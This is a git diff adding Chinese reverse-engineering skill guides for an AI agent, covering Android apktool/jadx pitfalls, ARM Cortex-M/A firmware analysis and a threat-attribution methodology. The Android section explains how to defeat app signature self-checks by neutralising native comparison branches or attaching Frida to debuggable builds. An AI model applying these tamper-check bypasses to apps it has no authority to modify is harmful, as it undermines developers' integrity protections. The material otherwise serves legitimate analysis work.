- **Java 版本不匹配直接起不来**:jadx 要求 Java 11+(64 位)——ClassNotFound / 启动即退先 `java -version` 确认;多 JDK 环境把 `JAVA_HOME` 指到 11+ 再跑
|
||||
|
||||
## apktool 坑组
|
||||
|
||||
- **回编译失败先换 `-r` 解包**:完整解包(资源被解码)后 `apktool b` 常报资源编译错误——smali 补丁一律 `apktool d -r`,资源原样保留;必须改资源时再完整解包后回编译(3.x 只有 aapt2 这一条编译路径,没有换编译器的开关)
|
||||
- **回编译产物与原始包签名必然不一致**:任何重打包都改变包内容——目标含签名自校验(对比 PackageManager 签名信息)时补丁会被拦,先评估校验链(SKILL.md 坑 2);带壳目标优先免重打包(运行时 hook 签名适配)
|
||||
- **`apktool d` 覆盖输出目录**:默认 `--force` 直接覆盖旧目录——多次解包时旧产物被静默替换,补丁对比拿错版本;敏感操作前先 `cp` 存档或换 `-o` 目录
|
||||
- **仓库版 apktool 较旧**:apt/dnf 包落后官方 release(wrapper jar 机制)——回编译行为差异(aapt 版本、资源处理)以官方 release 为准,异常时先升官方版再排查
|
||||
|
||||
## 签名与重打包坑组
|
||||
|
||||
- **zipalign 与签名方案是正交要求,且顺序不能颠倒**:用 `apksigner` 时必须**先 `zipalign` 再签名**(官方 zipalign 文档:If you sign your APK using apksigner and make further changes to the APK, its signature is invalidated)。v2/v3 把 ZIP 元数据纳入签名保护,签名后再对齐会直接破坏签名——实测 `apksigner sign` 后再 `zipalign -f 4` 会 `DOES NOT VERIFY` 并报 `APK is signed using APK Signature Scheme v2 but no such signature was found. Signature stripped?`,v3 同。jarsigner(v1 JAR 签名)顺序相反(先签名后对齐),但 v1 已不推荐。实际启用哪些 scheme 由 `apksigner` 依 `--min-sdk-version`/`--max-sdk-version` 决定,不是固定 v1+v2(对 minSdk 24 的目标签名会得到 v1=false / v2=true / v3=true)
|
||||
- **`install -r` 不生效 ≠ patch 无效**:同包名同签名覆盖安装保留数据,行为无变化时先做字节级闭环验证(`pm path` + `adb pull` 比对 patch 地址,见 [[commands]] 序列 2),再排查消费点/构建缓存
|
||||
- **签名校验是跨层链,单点中和不够**:Java 层取签名 → 摘要 → 原生层与硬编码基线比对,任一层不匹配判失败——优先复用应用自带的签名适配 hook,静态侧找原生比对函数中和失败分支(SKILL.md 坑 2 细节)
|
||||
- **debuggable 目标可直接 attach**:`android:debuggable="true"` 或可调试构建的 APK 无需重打包,直接 [[re-frida]] attach 绕过校验——重打包前先确认有没有这条捷径
|
||||
|
||||
## 加固识别坑组
|
||||
|
||||
- **单个特征别下结论**:libjiagu.so 之外还有自研壳/混淆 dex(无壳 so 但 dex 变形)——壳 so + 壳类 + dex 体积三特征交叉,仍不确定走 [[re-packer-id]] 指纹
|
||||
- **资源混淆 ≠ 加固**:只混淆资源不改代码的样本,jadx 输出正常但资源名随机——用 `aapt2 dump resources` 还原映射([[commands]] 序列 3),别误送脱壳流程
|
||||
- **多 dex 拆包误判**:`classes2.dex`/`classes3.dex` 是正常多 dex(方法数超 64K),不是加固——按 dex 总量与入口 Application 类判断,单看文件名会误判
|
||||
|
||||
## 版本差异
|
||||
|
||||
- **jadx**:1.4.x 起要求 Java 11;1.5.x 主线(本地实测 1.5.6 可用 `--version`)——release zip 与 brew/pacman 包同步,功能差异小;反编译器本身迭代快,老版本对 Kotlin/新 dex 特征支持弱,异常时先升版本
|
||||
- **apktool**:**3.x 为当前主线、2.x 为维护线**,两线命令不完全兼容;apt/dnf 仓库版明显落后官方 release。拿到旧教程/脚本先确认目标 major version
|
||||
- **apktool 3.x 的 CLI breaking changes**(照 2.x 写法会直接报错):① **aapt1 移除**——3.x 只随包发布 aapt2(2.x 的无后缀二进制是 32 位、`_64` 后缀才是 64 位;3.x 只剩单个 64 位),2.x 的 `--use-aapt2` 开关随之消失,换 aapt2 二进制改用 `--aapt <file>`,传入 aapt1 会被直接拒绝;② **不再提供 32 位构建**——32 位系统上无可用产物;③ **`--api-level` 移除**;④ **`--only-main-classes` 由 `-a`/`--all-src` 取代**,语义相反:前者只解主 dex,后者把未知 dex 也一并解出(加固/畸形样本的 dex 常被改名,需要 `-a` 才解得到);⑤ **高级选项只认长参数**——3.x 的短参数仅 `-a -f -j -l -o -p -q -r -s -t -v`,`-m`/`-k` 一类旧短参报 `Unrecognized option`,须写 `--match-original`/`--keep-broken-res`/`--res-resolve-mode`
|
||||
- **aapt2 / build-tools**:34.0.0 示例、新版 SDK 自带更高版本;`aapt2 dump xmltree --file` 等接口稳定;老环境用 `aapt`(34 前默认)
|
||||
- **apksigner**:build-tools 内置版本随 SDK;`--min-sdk-version`/`--max-sdk-version` 决定实际启用 v1/v2/v3 中的哪些(默认按目标 SDK 范围取舍),`apksigner verify --verbose` 会逐 scheme 打印 true/false;`--version` 输出以实际版本为准
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 纯静态可免沙箱([[re-analyze/platform-tips]] 最高原则);重打包/安装/运行验证样本按沙箱分支执行
|
||||
- 补丁产物与原始样本 sha256 对照存证([[re-triage]]);分析结论写 [[re-analyze/analysis-contract]]
|
||||
- 版本相关行为(apktool 回编译细节、jadx 反编译质量)以目标版本实际表现为准
|
||||
134
vendor-new/rev-skills/.claude/skills/re-arm/SKILL.md
Normal file
134
vendor-new/rev-skills/.claude/skills/re-arm/SKILL.md
Normal file
@@ -0,0 +1,134 @@
|
||||
---
|
||||
name: re-arm
|
||||
description: >
|
||||
ARM 架构逆向(非 Android):Cortex-M/A 向量表、Thumb/ARM 切换、AAPCS 调用约定、位置相关代码重定位、MMIO 外设寄存器交叉。
|
||||
触发词:ARM、arm32、Cortex-M、Cortex-A、Thumb、AAPCS、嵌入式逆向、裸机固件、stm32、向量表。
|
||||
capabilities: [arch-analysis]
|
||||
---
|
||||
|
||||
# ARM 架构逆向(Cortex-M/A、Thumb、AAPCS)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:非 Android 场景的 ARM——嵌入式裸机/固件(Cortex-M0/M3/M4/M7、Cortex-A)
|
||||
- 用:Thumb/ARM 指令集切换、AAPCS 调用约定识别、M 系向量表入口定位、位置相关代码重定位
|
||||
- 用:MMIO 外设寄存器交叉分析(0x4000xxxx 外设区、LDR 立即数池)
|
||||
- 不用:Android `.so`(走 [[re-android-native]])
|
||||
- 不用:通用 AArch64 Linux 用户态程序(走 [[re-binary-core]] 通用底座,本技能只补 ARM 特有语义)
|
||||
- 不用:只需解包固件看内容([[re-fw-extract]])/ 分析文件系统配置([[re-fw-rootfs]])/ 整体启动固件([[re-fw-emulate]])
|
||||
- 不用:RISC-V / x86 等其他架构(走 [[re-binary-core]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。静态分析可免沙箱;qemu 动态执行默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)。
|
||||
|
||||
### 反编译器(Ghidra / IDA 任选其一)
|
||||
|
||||
- Ghidra(内置 ARM 处理器模块,Cortex-M0/M0+/M3/M4/M7 选 Cortex 变体(v8-m 仅 M23/M33/M55)、Cortex-A 选 v7,均为小端 LE):
|
||||
- Linux: 官方 release 包(需 JDK);部分发行版仓库有 `apt install ghidra` / `pacman -S ghidra`
|
||||
- macOS: `brew install --cask ghidra`;Windows: 官方 zip
|
||||
- 验证: `analyzeHeadless -help`(headless 模式)或 GUI 导入 ARM ELF
|
||||
- Ghidra 按 Thumb 函数位 0(TMode)自动切换 Thumb/ARM 反汇编;导入时核对处理器变体与端序
|
||||
- IDA:商业版含 ARM32/ARM64 + Thumb 模块;Freeware 版架构支持范围以官方页面为准
|
||||
- 导入时确认架构(ARM vs AArch64)与变体——Cortex-M0/M0+ 实现 Armv6-M:以 16 位 Thumb 编码为主,但含少量合法 32 位编码(BL、DMB/DSB/ISB、MRS/MSR);必须选 v6-M 变体,只有出现 Armv6-M 之外的编码(MOVW/MOVT、CLZ、硬件除/取模)才说明变体选错
|
||||
|
||||
### readelf / file —— 架构与字节序确认(binutils)
|
||||
|
||||
- Linux: binutils 自带(`apt install binutils` 等);macOS: `brew install binutils` 或 LLVM 系 readelf;Windows: WSL 内
|
||||
- 验证: `readelf --version`
|
||||
|
||||
### binwalk —— 固件与内嵌文件扫描
|
||||
|
||||
- 安装渠道与版本分辨(v3 主线 / v2 legacy)见 [[re-fw-extract]] 的 binwalk/unblob 安装矩阵
|
||||
- 验证: `binwalk --version`、`unblob --version`
|
||||
|
||||
### qemu-arm / qemu-aarch64 —— ARM 用户态仿真(动态验证)
|
||||
|
||||
- Linux: `apt install qemu-user` / `dnf install qemu-user` / `pacman -S qemu-user`
|
||||
- macOS: `brew install qemu`(含用户态);Windows/WSL: WSL 内 Linux 版
|
||||
- 32 位为 `qemu-arm`、64 位为 `qemu-aarch64`;`-L <rootfs>` 指定动态库/链接器来源,`-strace` 跟踪系统调用
|
||||
- 验证: `qemu-arm --version`、`qemu-aarch64 --version`
|
||||
- 裸机 Cortex-M(无 OS 引导、向量表 0x0 起)qemu-user 不适用——用 `qemu-system-arm -machine mps2-an385`(Cortex-M3)等板级模型(`-s -S` 接 gdb),或 [[re-emulation]] 用 Unicorn 逐指令
|
||||
|
||||
### gdb-multiarch —— 交叉调试
|
||||
|
||||
- Linux: Debian/Ubuntu `apt install gdb-multiarch`(该包在 Debian/Ubuntu 及其衍生的官方仓库有);Fedora `dnf install gdb`(官方 gdb 支持多目标、可调裸机 ARM;arm-none-eabi-gdb 不在 Fedora 官方仓库,如需嵌入式专用工具链用官方预编译 ARM 工具链);Arch `pacman -S gdb`(官方 gdb 已内置 multiarch)
|
||||
- macOS: `brew install gdb`(需 Developer Tools 授权,见 [[re-analyze/platform-tips]] macOS 分支)或 WSL 内 Linux 版;Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: Debian/Ubuntu `gdb-multiarch --version`;Fedora/Arch `gdb --version`;载入裸机固件后 `set architecture armv7-m` 再 `file` 加载,`info registers` 确认
|
||||
- 真机 SWD/JTAG 调试走 OpenOCD + gdb([[re-hardware-io]]);仿真目标用 `qemu-system-arm -s -S` 或 `qemu-arm -g <port>`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步结果存档;动态执行默认沙箱。
|
||||
|
||||
1. **架构与字节序确认**:
|
||||
```sh
|
||||
file target.bin # "ARM"=32 位(含 Thumb)、"AArch64"=64 位;MSB/LSB 端序提示
|
||||
file target.elf
|
||||
readelf -h target.elf # Machine=ARM / AArch64;Data=little-endian / big-endian
|
||||
readelf -A target.elf | head # Tag_ABI_VFP_args: 1=硬浮点(HFABI)、0=软浮点;EABI 版本
|
||||
```
|
||||
- e_flags 高位直接标识浮点 ABI:`EF_ARM_ABI_FLOAT_HARD`(0x400) 硬浮点 / `EF_ARM_ABI_FLOAT_SOFT`(0x200) 软浮点(对应坑 5)
|
||||
- 裸机 .bin(无 ELF 头)由步骤 2 的向量表/复位向量判定架构、端序与 Cortex-M 变体
|
||||
|
||||
2. **入口定位**:
|
||||
- **Cortex-M 向量表**(默认 0x0 起,4 字节/项,地址 = 异常号×4):
|
||||
- 第 1 项(offset 0x0):初始 MSP 值——指向 RAM 区(0x20000000 附近),可反向佐证加载基址
|
||||
- 第 2 项(offset 0x4):Reset handler(复位后执行的第一条指令)
|
||||
- 其后 NMI(0x8)、HardFault(0xC)……每项地址 LSB 必须为 1(Thumb);LSB=0 触发 INVSTATE 进 HardFault
|
||||
- VTOR(0xE000ED08)可重定位向量表,固件可能把表放 RAM 或其他 flash 地址,先按 0x0 试,不成立再搜 MSP/Reset 组合
|
||||
- **Cortex-A 启动代码——先分清 AArch32 / AArch64,两套异常模型不同**:
|
||||
- **AArch32(Armv7-A 经典模型)**:复位向量 0x00000000(或高端向量 0xFFFF0000,取决于架构版本的控制位),异常向量表 8 项(Reset/Undef/SWI/Prefetch Abort/Data Abort/Reserved/IRQ/FIQ)
|
||||
- **AArch64(Armv8-A)没有这套固定 8 项表**:异常向量基址来自各 EL 的 **VBAR_EL1/EL2/EL3**,每张表 **16 个 slot、间隔 0x80**(覆盖 +0x000..+0x780),按 当前 EL / 低 EL × SP_EL0 / SP_ELx × AArch64 / AArch32 来源 × Synchronous/IRQ/FIQ/SError 分类;VBAR_ELx 复位后为 undefined,须由启动代码显式配置——**不要用 0x00000000 / 0xFFFF0000 这套 low/high vectors 规则去找 AArch64 异常表**
|
||||
- 逆向裸机 Armv8-A 固件时,定位异常表的可靠线索是 `msr vbar_el1/el2/el3, Xt` 及其地址构造序列;**reset entry 本身由实现/SoC 启动配置决定**(平台可提供 core reset vector base 配置),不能假定固定在 0
|
||||
- 启动流程一般为 设栈指针 → 拷贝 .data → 清零 .bss → 配置 MMU/时钟 → 跳 main;带引导链的(boot ROM → BL1/BL2 → u-boot/EL3 固件)按链逐级衔接 [[re-fw-rootfs]]
|
||||
- 定位复位向量后在反编译器中标注入口,沿调用链展开主逻辑
|
||||
|
||||
3. **AArch32 Thumb/T32 函数边界(Thumb/ARM 切换)**:
|
||||
- Thumb 函数地址 LSB=1:ELF 符号(`nm` / `readelf -s` 中 Thumb 函数为奇地址)、BL 目标、向量表项、虚表函数指针项都带 Thumb 位
|
||||
- `bx rN` / `blx rN`:按目标寄存器位 0 切换状态(1=Thumb);`blx` 立即数形式直接切到 ARM 态目标
|
||||
- **BL 立即数距离上限**:ARM 态 ±32MB、Thumb 态 ±16MB(BL 为 32 位编码,Armv6-M 虽无完整 Thumb-2 亦支持 BL;实际可达范围按具体编码/重定位如 `R_ARM_THM_CALL` 判定,超距由链接器插 veneer);超限时链接器插入 veneer 跳板(形态如 `ldr pc, =addr`、`movw+movt+bx`),看到片状跳板序列不要当业务逻辑;veneer 也用于 ARM↔Thumb 状态切换
|
||||
- 剥离符号的二进制:binutils 靠映射符号 `$a`/`$t`/`$d` 决定反汇编状态,映射符号丢失后会按错误状态反汇编——用 `arm-none-eabi-objdump -d -M force-thumb` 强制 Thumb,或交给 Ghidra 按 TMode 启发式切换
|
||||
- 用步骤 6 的立即数池与字符串引用交叉验证函数边界
|
||||
|
||||
4. **基址 / 重定位(加载地址 vs 链接地址)**:
|
||||
- 固件链接基址与提取物实际加载位置常不一致(例:链接 0x08000000 的 flash 固件被从外部存储地址提取;向量表第 1 项 MSP 指向的 RAM 范围可佐证)
|
||||
- 确定链接基址(复位向量推算 / 立即数池内字符串引用 / 跳转表交叉)→ 计算偏移 → Ghidra "Memory Map → Set Image Base" 或 IDA "Edit → Segments → Rebase program" 整体修正 → 修正后字符串、立即数池、跳转表全部对齐
|
||||
- 有 ELF 时对比 LMA/VMA(`readelf -l`):VMA 即链接地址;加载地址看 LMA / p_paddr
|
||||
- 先修正再反编译,否则大量引用错位、反编译面目全非
|
||||
|
||||
5. **AAPCS 调用约定识别**:
|
||||
- **32 位(AAPCS32)**:r0-r3 传前 4 参(多余参数栈传)、返回值 r0、64 位参数占 r0:r1 等偶对;r4-r8/r10-r11 被调用者保存、r9 平台相关;r12(IP) 调用内临时、r13(SP)、r14(LR) 返回地址、r15(PC);公共接口 8 字节栈对齐
|
||||
- 函数序言特征:`push {r4-r11, lr}`,尾部 `pop {..., pc}`(借 LR 同时恢复 PC);叶子函数(无嵌套调用)常不 push LR,直接 `bx lr`
|
||||
- **HFABI(硬浮点)**:浮点参数走 VFP 寄存器 s0-s15 / d0-d7(双精度),结果 s0/d0;软浮点 ABI 浮点参数走 r0-r3;`readelf -A` 的 Tag_ABI_VFP_args 区分(混用时最易错,见坑 5)
|
||||
- **64 位(AAPCS64,AArch64)**:x0-x7 传参、x8 间接结果寄存器、x19-x28 被调用者保存、x29 帧指针、x30(LR)、SP 16 字节对齐;序言特征 `stp x29, x30, [sp, #-16]!`
|
||||
- ARM 上 C++ 产物(RTTI/虚表/异常)恢复交叉参考 [[re-cpp-abi]];AArch32 虚表中指向 Thumb/T32 函数的函数指针项同样带 Thumb 状态位(bit0=1,解析实际地址时清 bit0),AArch64 用 A64、无 Thumb 态,不适用此规则
|
||||
|
||||
6. **外设寄存器交叉(MMIO xref)**:
|
||||
- Cortex-M 外设区 0x40000000-0x5FFFFFFF(具体外设基址如 0x4000xxxx、0x48000000 随器件而异),0xE0000000 起为 PPB(NVIC/SCB/SysTick);核对 SoC datasheet 的 memory map
|
||||
- 典型访问形态:`ldr rN, [pc, #imm]` 从函数尾部立即数池取地址 → `str`/`ldr` 访问外设;手工算池地址时注意 Thumb 态 PC=当前+4、ARM 态 +8,且按 4 字节对齐
|
||||
- 反编译器中把外设区标注为寄存器区(不是数据段)——防止误判(见坑 3);按 UART/GPIO/timer 等寄存器语义反推硬件行为,轮询 status/flag 位的循环就是与外设交互的握手/等待逻辑
|
||||
- 交叉验证:外设地址常量 + 初始化序列(时钟使能、GPIO 配置)对照厂商参考代码模式
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:ARM ELF 通用初勘/反编译/调试底座([[re-ghidra]]、[[re-ida]]、[[re-gdb]]、[[re-radare2]] 照常使用)
|
||||
- [[re-firmware]]:固件类样本网关路径(re-firmware → re-fw-extract → re-fw-rootfs → 本技能)
|
||||
- [[re-fw-extract]] / [[re-fw-rootfs]]:固件解包与文件系统/配置分析前置
|
||||
- [[re-fw-emulate]]:整体启动固件或用户态运行 ARM 程序(qemu 系列)
|
||||
- [[re-rtos]]:MCU 固件内 RTOS(FreeRTOS 等)任务表/TCB 定位后按任务拆解反编译
|
||||
- [[re-hardware-io]]:JTAG/SWD 真机调试与 flash 读取(OpenOCD + gdb-multiarch)
|
||||
- [[re-emulation]]:无 qemu 场景用 Unicorn 模拟执行(裸机 Cortex-M 逐指令验证)
|
||||
- [[re-cpp-abi]]:ARM 上 C++ 产物 RTTI/异常/虚表恢复
|
||||
- [[re-variant]]:固件多版本对比与补丁 diff
|
||||
- [[re-sandbox]]:一切动态执行强制前置([[re-analyze/platform-tips]] 默认沙箱原则)
|
||||
- 配套:[[re-patching]](Thumb 字节补丁)、[[re-android-native]](Android .so 场景)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **Thumb 奇地址误判(函数起点偏移 1 字节)**:现象——按符号或 BL 目标地址定位函数却从半条指令开始,反汇编全乱;原因——Thumb 函数地址 LSB=1 是模式位不是代码字节,直接当绝对地址用整体错位;对策——进函数/解跳转目标前把地址清位 0(&~1);手工算地址时以此为准(Ghidra/IDA 已自动处理)
|
||||
- **BL/BLX 距离上限外的 veneer 混淆**:现象——调用链里出现成片 `movw/movt + bx`、`ldr pc` 跳板,被当成业务逻辑分析;原因——BL 立即数只能覆盖 ARM ±32MB / Thumb ±16MB,超限链接器插 veneer;对策——识别短跳板形态(结尾 bx/ldr pc 且目标为远地址)后跳过,继续跟踪最终目标;跨状态(Thumb↔ARM)调用同样经 veneer
|
||||
- **M 系外设映射区当数据段**:现象——0x4000xxxx 区域被当"数据"且内容随机,外设读写被当普通内存访问分析不出语义;原因——MMIO 区是寄存器不是存储,读可改状态、写有副作用;对策——反编译器中标注为寄存器区,按 datasheet memory map + 寄存器表逐位还原语义,轮询 status 位识别握手/等待循环
|
||||
- **R14(LR) 双用途反编译失真**:现象——某些函数"没保存返回地址"却调用了子函数,调用图断裂;原因——LR 是寄存器不是专用返回栈,叶子函数可把它当普通临时寄存器,Cortex-M 异常入口的 LR 还可能是 EXC_RETURN 特殊值;对策——按 `push {..., lr}` 与 `bl` 前后 LR 赋值点重建调用关系;异常入口现场恢复序列(入栈 8 字 r0-r3/r12/LR/PC/xPSR,PC 在 [sp,#0x18])用于确认异常处理函数
|
||||
- **HFABI 与软浮点混用时参数解读错误**:现象——函数首参是 float,反编译却从 r0 取,值全不对;原因——ABI 判定错(把 softfp 当 hard,或反之);对策——`readelf -A` 的 Tag_ABI_VFP_args 与 e_flags 的 0x400/0x200 位定 ABI,**再看参数实际落在哪组寄存器**:首参从 s0-s15/d0-d7 收 = 硬浮点,从 r0-r3 收 = 软浮点。**关键:`-mfloat-abi=softfp` 是"软浮点调用约定 + 允许 VFP 指令"**——它照样发射 `vmov/vadd/vcmp` 等浮点指令,参数却仍走整数寄存器(实测:`vmov s0, r1` 把 r1 搬进 s0),所以**浮点指令出现频率不能佐证 float ABI**,只能佐证"代码用了 VFP"
|
||||
- **Cortex-M0 变体选错(按指令宽度误判)**:现象——把 M0 固件按 v7/v8-M 反汇编,出现大量 Armv6-M 之外的 32 位指令;原因——ARMv6-M(M0/M0+)以 16 位 Thumb 编码为主,但并非「只有 16 位」:BL、DMB/DSB/ISB、MRS/MSR 就是合法的 32 位编码,仅按指令宽度判定会把合法编码当幻觉、也会漏掉真正的越界指令;对策——导入时确认变体(v6M vs v7/v8M),按具体 opcode 是否属于 Armv6-M 判定——出现 MOVW/MOVT、CLZ、硬件除/取模等 Armv6-M 之外的编码才说明变体选错
|
||||
120
vendor-new/rev-skills/.claude/skills/re-attribution/SKILL.md
Normal file
120
vendor-new/rev-skills/.claude/skills/re-attribution/SKILL.md
Normal file
@@ -0,0 +1,120 @@
|
||||
---
|
||||
name: re-attribution
|
||||
type: atomic
|
||||
description: >
|
||||
威胁归因方法论:钻石模型、基础设施图谱、置信度分级与归因报告。
|
||||
触发词:归因、APT、attribution、攻击者身份、基础设施图谱、钻石模型、威胁组织。
|
||||
capabilities: [threat-intel]
|
||||
---
|
||||
|
||||
# 威胁归因(APT Attribution)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:情报归因请求(「谁干的」)、多事件串并(判断几起事件是否同一活动)、基础设施关联分析、样本/能力到攻击者的推理
|
||||
- 用:受害环境的攻击者画像(时间线、TTP、基础设施特征综合)
|
||||
- 用:同组活动排查(一次事件 → 找同基础设施/同能力的其他事件,先关联再定级)
|
||||
- 不用:单个 IOC 查询(转 [[re-ti]]);恶意行为判定(转 [[re-behavior]])
|
||||
- 不用:司法证据链(刑事标准高于情报归因,本技能结论不能直接作为司法证据,见 [[gotchas]])
|
||||
- 不用:只有单角证据时做组织级归因(仅样本或仅域名不支撑归因声明,分支判断见 [[decision-tree]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
### 关联查询工具(Passive DNS / 证书透明 / Whois)
|
||||
|
||||
- whois CLI(注册信息/ASN 归属):Linux `apt install whois` / `dnf install whois`;macOS `brew install whois`;Windows 用 WSL 分支(见 [[re-analyze/platform-tips]])
|
||||
- python-whois(Python 模块):多平台 `pip install python-whois`;验证: `python3 -c "import whois"`
|
||||
- dnsx(DNS 枚举):官方渠道为 Go 二进制——GitHub `projectdiscovery/dnsx` releases 或 `go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest`;验证 `dnsx -version`(PyPI 同名包与官方工具无关,别混用)
|
||||
- 证书透明日志:crt.sh 网页查询(公开服务,按域名/证书指纹检索)
|
||||
- ASN 归属查询:`whois -h whois.cymru.com <IP>` 返回 AS 号与归属(Team Cymru 公开接口)
|
||||
|
||||
### MISP(情报关联与共享)
|
||||
|
||||
- Docker 部署(官方安装脚本/镜像,`apt install misp` 在发行版源不存在)或轻量替代(本地 CSV/图文件)
|
||||
- 验证: 登录 MISP UI 能创建/检索事件(轻量替代用数据导入脚本自检)
|
||||
|
||||
### 图分析(基础设施关系)
|
||||
|
||||
- 多平台: `pip install networkx`(python 图分析);验证: `python3 -c "import networkx"`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;全部内容脱敏处理(红线:不指向具体组织/受害者身份,只用代号与抽象描述)。
|
||||
|
||||
1. **钻石模型定位**:
|
||||
- 四角:受害者(已明确)/ 基础设施(C2 域名/IP/证书)/ 能力(工具/样本/漏洞利用)/ 对手(待推断)
|
||||
- 活动线:把事件建模为元组(时间、对手、能力、基础设施、受害者),多事件按共享元素连成活动线
|
||||
- 元数据要素:时间窗、受害域、行业属性——用于聚类与时间线(不单独作证据)
|
||||
- 四角信息表字段:每角列(已知项/未知项/来源/查询时间),未知项就是归因缺口
|
||||
- 产出:四角已知信息表 + 缺失角(归因目标)
|
||||
- 规则:只有两角以上才能开始推理;单角(仅样本)不支撑归因声明(判据见 [[decision-tree]])
|
||||
- 单角输出形态:只有 1 角时交付「情报线索」级(IOC 清单 + 特征描述),标注「未进入归因」,不写组织名
|
||||
|
||||
2. **基础设施图谱**:
|
||||
```sh
|
||||
# 域名/IP/证书关联聚类(示例流程,工具可替换)
|
||||
# 1) 收集 C2 域名/IP → whois 注册信息(注册者/邮箱/NS/ASN)
|
||||
# 2) 证书透明日志(crt.sh)查共用证书 → 关联其他域名
|
||||
# 3) dnsx 主动枚举关联子域/NS 记录(被动 DNS 接口看解析历史)
|
||||
# 4) networkx 图聚类:共享注册者/证书/NS/ASN 的节点合并
|
||||
```
|
||||
- 聚类特征按区分度排序:唯一注册邮箱/证书 > 共用 NS/ASN > 同托管商
|
||||
- 被动 DNS 关注点:域名首次解析时间、解析 IP 段切换史、历史 NS 变化(注册人操作习惯特征)
|
||||
- IP 段特征:段内其他域名的用途/注册时间(同类活动聚集是弱线索,需排除托管商批量注册)
|
||||
- Whois 隐私保护:注册信息可能匿名(GDPR 后常见)——注册者字段不可用时降级用证书/NS/行为特征交叉,标注注册信息盲区
|
||||
- 域名相似性(同后缀/typosquat)只作弱线索:注册商与注册时间都可伪造
|
||||
- 跳板/托管商共存不能作为归属证据(见坑 1 与 [[gotchas]])
|
||||
|
||||
3. **能力与样本归因**:
|
||||
- 代码复用:样本间字符串/函数/资源/导入表相似度(唯一性字符串优先)
|
||||
- TTP 对比:行为模式与已知活动对齐(对齐方式参考 [[re-behavior]] 与 ATT&CK 映射)——先粗对齐(技术大类)再细对齐(端口/参数/加密细节)
|
||||
- 时间线:活动窗口对齐(先归一 UTC 核对时区与时间来源,见坑 6)
|
||||
- 唯一性特征优先:独特字符串/编译特征/语言习惯(比通用 TTP 更有区分度)
|
||||
- 样本家族名是分析人员命名,不是归属证据(命名由分析习惯决定,见 [[gotchas]])
|
||||
- 产出:能力证据表(每条证据 → 支持/反对假设,来源可追溯)
|
||||
|
||||
4. **置信度分级**:
|
||||
- 低:单类弱证据(特征泛化,如仅共享托管商)
|
||||
- 中:两类独立证据交叉,或单类强证据(多个唯一性特征)
|
||||
- 高:三类以上 + 时间线一致 + 无矛盾证据
|
||||
- 判定:按证据类型×强度打分,规则与反例见 [[decision-tree]] 证据分级表
|
||||
- 措辞规范:低→「关联活动」;中→「疑似同一活动」;高→「高度疑似归属」;不写绝对断言(见 [[gotchas]] 声明边界)
|
||||
- 规则:无高置信度证据时声明「关联活动」而非「归属组织」;明确列出未解决的反证
|
||||
- 不设「确认」级:情报归因无 100% 断言,最高等级也保留假设前提(如「假设该基础设施未被劫持」)
|
||||
|
||||
5. **报告**:
|
||||
- 结构:结论(分级声明)→ 证据链(每角证据 + 来源)→ 置信度依据 → 反证与未决项 → 方法边界(哪些无法判定)
|
||||
- 模板(脱敏版):
|
||||
```
|
||||
# 归因报告(内部)
|
||||
- 结论:<等级> —— 与 <代号> 活动为同一活动方(置信度:中)
|
||||
- 证据链:1) 唯一注册邮箱(whois,查询时间) 2) 共用证书(crt.sh) 3) 代码唯一字符串(样本对照)
|
||||
- 反证/未决项:时间线缺口;注册信息匿名(GDPR)
|
||||
- 方法边界:未验证 C2 行为;无法判定项清单
|
||||
```
|
||||
- 结论与证据对照 [[re-analyze/analysis-contract]] 复核格式存档(结论/证据/置信度)
|
||||
- 脱敏:不公开受害者身份/真实组织名(用代号),不发表过度归因声明;对外口径与内部结论分开(分层输出)
|
||||
- 脱敏检查清单:受害者身份/组织名/域名/IP 全替换代号;截图中的主机名/用户名打码;引用原始情报前重查一遍
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-ti]]:情报输入(IOC 查询与背景)
|
||||
- [[re-ioc]]:指标提取(域名/IP/哈希)
|
||||
- [[re-behavior]]:行为证据(TTP 对齐)
|
||||
- [[re-protocol]]:C2 协议分析(基础设施特征)
|
||||
- [[re-hunting]]:归因假设可转狩猎假设(「如果同一活动方进入环境,会在遥测中出现什么」)
|
||||
- [[re-feedback]]:归因案例经验沉淀(脱敏后)
|
||||
- [[re-analyze/analysis-contract]]:结论交付格式
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **基础设施重叠导致误归因**:现象——两活动共享 C2 基础设施被并为一组;原因——共用托管/被劫持基础设施;对策——区分「共享」与「控制」证据(注册信息 vs 仅托管),共享类证据降级为弱证据
|
||||
- **跳板机 ≠ 归属**:现象——经第三方跳板的活动归到跳板所有者;原因——混淆路径;对策——只把「控制面证据」(注册/配置/唯一特征)算入归属
|
||||
- **置信度虚高**:现象——单一独特性状(罕见字符串)即高置信度;原因——单证据强但无交叉验证;对策——按步骤 4 分级,单类弱证据最高「低」,单类强证据最高「中」
|
||||
- **能力共享被误读**:现象——两家活动共用工具(公开工具/租赁平台)被归为一家;原因——能力是商品化资源,不唯一;对策——工具类证据只能作弱证据,需叠加基础设施/时间线证据
|
||||
- **无证据 ≠ 排除**:现象——时间线对不齐/查不到记录即判断「无关」;原因——被动数据缺失、证据未公开;对策——标注「未发现」而非「不存在」,时间线缺口列反证
|
||||
- **时间戳/日志反取证**:现象——攻击者伪造时间戳/删除日志使时间线错位;原因——主动混淆;对策——多时间来源交叉(文件时间/日志/流量时间),标注可信度
|
||||
- **脱敏红线**:现象——报告中出现真实受害者/组织身份;原因——复制原始情报未处理;对策——报告前逐项检查(红线强制)
|
||||
- **报告口径外泄**:现象——内部结论被当作对外声明引用;原因——口径不分层;对策——内部报告与对外摘要分开版本,对外摘要只保留分级与证据概览
|
||||
- **推理链不可复核**:现象——结论无法回溯到证据;原因——假设与中间判断未记录;对策——每步假设/证据/分级全程存档(路径+时间),报告附证据索引
|
||||
- 场景分支、证据分级表与更多反例见 [[decision-tree]] / [[gotchas]]
|
||||
@@ -0,0 +1,71 @@
|
||||
